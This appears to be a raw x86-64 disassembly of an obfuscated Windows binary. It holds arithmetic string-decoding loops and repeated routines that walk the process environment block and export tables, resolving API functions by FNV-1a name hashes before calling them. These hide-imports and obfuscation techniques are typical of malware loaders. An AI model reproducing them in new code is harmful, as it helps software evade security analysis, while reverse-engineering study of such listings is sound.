lea ecx, [r9 + 0x31]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x57
jmp 0x140104ef0
lea rax, [r11 + 1]
cmp rbx, rax
jne 0x140105030
lea ecx, [r9 + 0xa]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x46
jmp 0x140105424
lea rax, [r11 + 2]
cmp rbx, rax
jne 0x140105057
lea edx, [r9 + 0x6c]
mov al, dl
and al, r8b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401053d7
lea rax, [r11 + 3]
cmp rbx, rax
jne 0x140105081
mov r10b, r9b
lea edx, [r10 - 0x32]
mov ecx, Ordinal_50
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401052c0
lea rax, [r11 + 4]
cmp rbx, rax
jne 0x1401050a6
lea edx, [r9 - 0x6e]
mov al, dl
and al, r8b
mov ecx, r12d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401053a3
lea rax, [r11 + 7]
cmp rbx, rax
jne 0x140104ef0
mov r10b, r9b
lea edx, [r10 + 0x1a]
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140105339
lea rax, [r11 + 1]
cmp rbx, rax
jne 0x1401050fa
mov r10b, r9b
lea ecx, [r10 + 0xf]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x69
jmp 0x140105339
lea rax, [r11 + 2]
cmp rbx, rax
jne 0x14010511d
lea ecx, [r9 - 0x2d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x3b
jmp 0x140105386
lea rax, [r11 + 3]
cmp rbx, rax
jne 0x140105143
lea ecx, [r9 + 0x35]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x73
mov r10b, r9b
jmp 0x140105253
lea rax, [r11 + 5]
cmp rbx, rax
jne 0x140104f20
mov r10b, r9b
lea ecx, [r10 + 0x5b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7d
jmp 0x1401052c0
lea rax, [r11 + 1]
cmp rbx, rax
jne 0x140105184
lea edx, [r9 + 0x14]
mov ecx, Ordinal_60
jmp 0x140104ea4
lea rax, [r11 + 2]
cmp rbx, rax
jne 0x14010519e
mov r10b, r9b
lea edx, [r10 - 0x28]
mov ecx, ntohs
jmp 0x14010506c
lea rax, [r11 + 5]
cmp rbx, rax
jne 0x1401051c1
lea ecx, [r9 - 0x64]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x44
jmp 0x1401053a3
lea rax, [r11 + 3]
cmp rbx, rax
jne 0x1401051e2
mov r10b, r9b
lea edx, [r10 - 2]
mov al, dl
and al, r8b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14010524d
lea rax, [r11 + 4]
cmp rbx, rax
jne 0x140105209
lea edx, [r9 + 0x60]
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140105386
lea rax, [r11 + 7]
cmp rbx, rax
jne 0x140104f52
lea ecx, [r9 - 0x3e]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x4e
jmp 0x14010536c
mov r10b, r9b
lea edx, [r10 - 0x18]
mov al, dl
and al, r8b
add al, al
mov dil, byte [rbp + r9 + 0x3d0]
sub dil, al
sub dil, 0x58
add dil, dl
add dil, r8b
add r10b, 0x19
mov al, r10b
and al, r8b
add al, al
sub r10b, al
add r10b, 0x51
add r10b, dil
add r10b, r8b
mov byte [rbp + r9 + 0x3d0], r10b
jmp 0x1401053a3
mov r10b, r9b
lea ecx, [r10 + 0x4a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [rcx - 6]
jmp 0x1401052c0
lea ecx, [r9 + 0x15]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x6d
jmp 0x1401053d7
mov r10b, r9b
lea ecx, [r10 - 0x4d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x1b
add r10b, 0x7b
mov al, r10b
and al, r8b
add al, al
sub r10b, al
sub r10b, 0x5d
add r10b, r8b
movzx eax, r10b
mov byte [rbp + r9 + 0x3d0], al
add r11, r12
add rax, r11
sub r9, rax
jmp 0x1401053d7
lea ecx, [r9 + 0x51]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x37
jmp 0x1401053a6
lea ecx, [r9 + 0x2b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2d
jmp 0x140105386
mov r10b, r9b
lea ecx, [r10 + 0x67]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x2f
sub r10b, r13b
mov al, r10b
and al, r8b
add al, al
sub r10b, al
add r10b, r8b
sub r10b, r12b
mov byte [rbp + r9 + 0x3d0], r10b
jmp 0x14010536c
lea ecx, [r9 + 0x41]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x39
add r11, r12
jmp 0x140105386
lea ecx, [r9 - 0x21]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x19
sub r9, r12
jmp 0x140105433
lea ecx, [r9 + 0x1b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x43
add rbx, r11
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140105433
movabs rdx, 0x9e5458755e4aef5
add rdx, r9
mov al, dl
and al, r10b
add al, al
mov dil, r8b
sub dil, al
add dil, 0x4d
add dil, dl
lea edx, [r9 - 0x54]
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x3d0], cl
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x140105424
movabs rcx, 0x9f89901e00560293
add rcx, r9
mov al, cl
and al, r10b
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 5
movzx eax, byte [rbp + r9 + 0x3d0]
add rax, r11
add r9, rax
add r9, r12
jmp 0x140104c6c
add r9b, 0x13
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea edi, [r8 + r9]
add dil, 0x7b
jmp 0x140104c57
lea rdx, [rbp + 0x16decbc]
jmp 0x140105470
lea rdx, [rbp + 0x7542ed]
jmp 0x140105470
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp + 0x3b0]
call fcn.140051148
mov rcx, rax
call fcn.140146738
mov rdx, qword [0x14017c650]
xor eax, eax
mov r13d, 0xcded1a85
test rdx, rdx
jne 0x1401055e6
mov esi, eax
mov r14d, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
movups xmm0, xmmword [rcx + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x1401054fd
psrldq xmm0, 8
movq rdx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rdx + rax*2]
mov r9d, 0x811c9dc5
jmp 0x1401054ef
movsx eax, byte [rdx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rdx, 2
cmp rdx, r8
jne 0x1401054de
cmp r9d, esi
jne 0x1401055d7
mov r11, qword [rcx + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r10d, eax
add r10, r11
shr rax, 0x20
cmp r10, r11
je 0x1401055d7
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x1401055d7
mov edi, dword [r10 + 0x20]
dec ebx
lea r8, [rdi + rbx*4]
mov r9d, dword [r8 + r11]
add r9, r11
mov r8d, 0x811c9dc5
jmp 0x140105552
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r12
test dl, dl
jne 0x140105545
cmp r8d, r14d
je 0x140105567
test ebx, ebx
jne 0x140105530
jmp 0x1401055d7
mov r8d, dword [r10 + 0x1c]
add r8, r11
mov edx, dword [r10 + 0x24]
add rdx, r11
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r11
cmp rdx, r10
jbe 0x1401055df
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1401055df
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401055a8
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14010559a
jmp 0x1401055bd
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x1401055b0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x1401054b2
mov qword [0x14017c650], rdx
mov ecx, 0x99
call rdx
mov rbx, qword [0x14017c6f0]
xor eax, eax
test rbx, rbx
jne 0x14010575e
mov esi, eax
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x140105669
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14010565b
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14010564a
cmp r8d, esi
jne 0x140105739
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r9d, eax
add r9, r10
shr rax, 0x20
cmp r9, r10
je 0x140105739
mov r11d, dword [r9 + 0x18]
test r11d, r11d
je 0x140105739
mov ebx, dword [r9 + 0x20]
dec r11d
lea rdx, [rbx + r11*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x1401056bd
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401056b2
cmp edx, r14d
je 0x1401056d3
test r11d, r11d
jne 0x14010569d
jmp 0x140105739
mov r8d, dword [r9 + 0x1c]
add r8, r10
mov edx, dword [r9 + 0x24]
add rdx, r10
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r10
cmp rbx, r9
jbe 0x140105757
lea rcx, [r9 + rax]
cmp rbx, rcx
jae 0x140105757
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rbx]
cmp al, 0x2e
je 0x14010572d
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, rcx
jmp 0x14010570a
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, rcx
mov al, byte [rbx]
test al, al
jne 0x140105720
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x140105752
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x14010561e
jmp 0x140105754
xor eax, eax
mov rbx, rax
mov qword [0x14017c6f0], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x14017c6e8]
xor eax, eax
test rdx, rdx
jne 0x1401058dc
mov esi, eax
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x1401057e7
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401057d9
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401057c8
cmp r8d, esi
jne 0x1401058b7
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r9d, eax
add r9, r10
shr rax, 0x20
cmp r9, r10
je 0x1401058b7
mov r11d, dword [r9 + 0x18]
test r11d, r11d
je 0x1401058b7
mov ebx, dword [r9 + 0x20]
dec r11d
lea rdx, [rbx + r11*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x14010583b
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140105830
cmp edx, r14d
je 0x140105851
test r11d, r11d
jne 0x14010581b
jmp 0x1401058b7
mov r8d, dword [r9 + 0x1c]
add r8, r10
mov edx, dword [r9 + 0x24]
add rdx, r10
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r9
jbe 0x1401058d5
lea rcx, [r9 + rax]
cmp rdx, rcx
jae 0x1401058d5
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x1401058ab
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x140105888
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x14010589e
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x1401058d0
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x14010579c
jmp 0x1401058d2
xor eax, eax
mov rdx, rax
mov qword [0x14017c6e8], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14017c6e0]
xor eax, eax
test rdx, rdx
jne 0x140105a51
mov esi, eax
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14010595c
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14010594e
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14010593d
cmp r8d, esi
jne 0x140105a2c
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r9d, eax
add r9, r10
shr rax, 0x20
cmp r9, r10
je 0x140105a2c
mov r11d, dword [r9 + 0x18]
test r11d, r11d
je 0x140105a2c
mov ebx, dword [r9 + 0x20]
dec r11d
lea rdx, [rbx + r11*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x1401059b0
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401059a5
cmp edx, r14d
je 0x1401059c6
test r11d, r11d
jne 0x140105990
jmp 0x140105a2c
mov r8d, dword [r9 + 0x1c]
add r8, r10
mov edx, dword [r9 + 0x24]
add rdx, r10
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r9
jbe 0x140105a4a
lea rcx, [rax + r9]
cmp rdx, rcx
jae 0x140105a4a
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x140105a20
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x1401059fd
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x140105a13
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x140105a45
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x140105911
jmp 0x140105a47
xor eax, eax
mov rdx, rax
mov qword [0x14017c6e0], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14017c6d8]
xor eax, eax
test rdx, rdx
jne 0x140105bc6
mov esi, eax
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x140105ad1
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140105ac3
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140105ab2
cmp r8d, esi
jne 0x140105ba1
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r9d, eax
add r9, r10
shr rax, 0x20
cmp r9, r10
je 0x140105ba1
mov r11d, dword [r9 + 0x18]
test r11d, r11d
je 0x140105ba1
mov ebx, dword [r9 + 0x20]
dec r11d
lea rdx, [rbx + r11*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x140105b25
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140105b1a
cmp edx, r14d
je 0x140105b3b
test r11d, r11d
jne 0x140105b05
jmp 0x140105ba1
mov r8d, dword [r9 + 0x1c]
add r8, r10
mov edx, dword [r9 + 0x24]
add rdx, r10
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r9
jbe 0x140105bbf
lea rcx, [rax + r9]
cmp rdx, rcx
jae 0x140105bbf
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x140105b95
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x140105b72
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x140105b88
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x140105bba
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x140105a86
jmp 0x140105bbc
xor eax, eax
mov rdx, rax
mov qword [0x14017c6d8], rdx
xor ecx, ecx
call rdx
xor eax, eax
cmp qword [0x14017c6d0], rax
jne 0x140105d3a
mov esi, eax
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x140105c43
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140105c35
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140105c24
cmp r8d, esi
jne 0x140105d15
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r10d, eax
add r10, r11
shr rax, 0x20
cmp r10, r11
je 0x140105d15
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140105d15
mov ebx, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, r11
mov edx, 0x811c9dc5
jmp 0x140105c97
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140105c8c
cmp edx, r14d
je 0x140105cad
test r9d, r9d
jne 0x140105c77
jmp 0x140105d15
mov r8d, dword [r10 + 0x1c]
add r8, r11
mov edx, dword [r10 + 0x24]
add rdx, r11
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r11
cmp r9, r10
jbe 0x140105d33
lea rcx, [rax + r10]
cmp r9, rcx
jae 0x140105d33
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r9]
cmp al, 0x2e
je 0x140105d08
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, rcx
jmp 0x140105ce4
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, rcx
mov al, byte [r9]
test al, al
jne 0x140105cfb
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x140105d2e
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x140105bf8
jmp 0x140105d30
xor eax, eax
mov r9, rax
mov qword [0x14017c6d0], r9
mov r8, qword [0x14017c700]
test r8, r8
jne 0x140105dbe
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r10, qword [rax]
mov r8, r10
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea rdx, [rcx + rax*2]
mov r9d, 0x811c9dc5
cmp rcx, rdx
je 0x140105d97
movsx eax, byte [rcx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140105d78
cmp r9d, 0x610c0de3
je 0x140105dac
mov rax, qword [r8]
mov r8, rax
cmp rax, r10
je 0x140105db2
xor eax, eax
cmp qword [r8 + 0x30], rax
jne 0x140105d5d
jmp 0x140105db4
mov r8, qword [r8 + 0x30]
jmp 0x140105db7
xor eax, eax
mov r8, rax
mov qword [0x14017c700], r8
movsxd rax, dword [r8 + 0x3c]
mov r10d, dword [rax + r8 + 0x88]
xor eax, eax
mov r9d, eax
mov r11d, dword [r10 + r8 + 0x20]
lea edi, [rax + 1]
mov eax, r9d
lea rcx, [r11 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, rdi
test al, al
je 0x140105e0f
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, rdi
test al, al
jne 0x140105df3
cmp ecx, 0xe463da3c
je 0x140105e14
add r9d, edi
jmp 0x140105dd7
mov edx, dword [r10 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x14017c778]
xor eax, eax
test r10, r10
jne 0x140105fb0
mov esi, eax
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov r15, qword [rcx]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x140105eb4
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140105ea6
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140105e95
cmp r8d, esi
jne 0x140105f86
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r9d, eax
add r9, r11
shr rax, 0x20
cmp r9, r11
je 0x140105f86
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x140105f86
mov ebx, dword [r9 + 0x20]
dec r10d
lea rdx, [rbx + r10*4]
mov r8d, dword [rdx + r11]
add r8, r11
mov edx, 0x811c9dc5
jmp 0x140105f08
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140105efd
cmp edx, r14d
je 0x140105f1e
test r10d, r10d
jne 0x140105ee8
jmp 0x140105f86
mov r8d, dword [r9 + 0x1c]
add r8, r11
mov edx, dword [r9 + 0x24]
add rdx, r11
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r11
cmp r10, r9
jbe 0x140105fa4
lea rcx, [rax + r9]
cmp r10, rcx
jae 0x140105fa4
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x140105f79
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rdx
jmp 0x140105f55
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rdx
mov al, byte [r10]
test al, al
jne 0x140105f6c
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x140105f9f
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x140105e69
jmp 0x140105fa1
xor eax, eax
mov r10, rax
mov qword [0x14017c778], r10
mov edi, 1
lea r9, [rbp + 0x570]
mov r8d, edi
mov edx, 0x5000
mov rcx, r12
call r10
mov r8, qword [0x14017c6f8]
xor eax, eax
test r8, r8
jne 0x14010768c
mov esi, eax
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x140106041
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140106033
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140106022
cmp r8d, esi
jne 0x14010611b
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r9d, eax
add r9, r10
shr rax, 0x20
cmp r9, r10
je 0x14010611b
mov r11d, dword [r9 + 0x18]
test r11d, r11d
je 0x14010611b
mov ebx, dword [r9 + 0x20]
dec r11d
lea rdx, [r10 + r11*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x140106095
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14010608a
cmp edx, r14d
je 0x1401060ab
test r11d, r11d
jne 0x140106075
jmp 0x14010611b
mov r8d, dword [r9 + 0x1c]
add r8, r10
mov edx, dword [r9 + 0x24]
add rdx, r10
movzx edx, word [rdx + r11*2]
mov r8d, dword [r8 + rdx*4]
add r8, r10
cmp r8, r9
jbe 0x140107685
lea rcx, [rax + r9]
cmp r8, rcx
jae 0x140107685
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edx, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x14010610e
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rdx
jmp 0x1401060ea
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rdx
mov al, byte [r8]
test al, al
jne 0x140106101
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x140104c2e
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x140105ff6
jmp 0x140104c30
mov byte [rbp + 0x410], 0x66
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x411], xmm0
mov word [rbp + 0x421], ax
mov dil, byte [rsp + 0x50]
call fcn.140158170
mov rbx, qword [rax]
call fcn.140158178
mov r11, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x13
jae 0x1401069a3
movzx r8d, byte [rbp + r9 + 0x410]
mov edx, r8d
cmp rbx, r9
ja 0x14010699a
lea rax, [r11 + 1]
cmp rbx, rax
jae 0x1401061b9
movabs rcx, 0x352ddab4aac75631
add rcx, r9
mov eax, edx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x57
jmp 0x1401061f3
je 0x140106942
lea rax, [r11 + 2]
cmp rbx, rax
je 0x1401068f6
lea rax, [r11 + 5]
cmp rbx, rax
je 0x1401068cd
lea rax, [r11 + 3]
cmp rbx, rax
je 0x1401068af
lea rax, [r11 + 4]
cmp rbx, rax
je 0x140106894
cmp r11, r9
ja 0x140106991
lea rax, [r11 + 0x28]
cmp rbx, rax
jae 0x14010621c
lea ecx, [r9 + 5]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x23
jmp 0x14010625d
lea rax, [r11 + 1]
cmp rbx, rax
je 0x14010685b
lea rax, [r11 + 2]
cmp rbx, rax
je 0x140106843
lea rax, [r11 + 6]
cmp rbx, rax
je 0x140106828
lea rax, [r11 + 4]
cmp rbx, rax
je 0x1401067dd
lea rax, [r11 + 3]
cmp rbx, rax
je 0x1401067c0
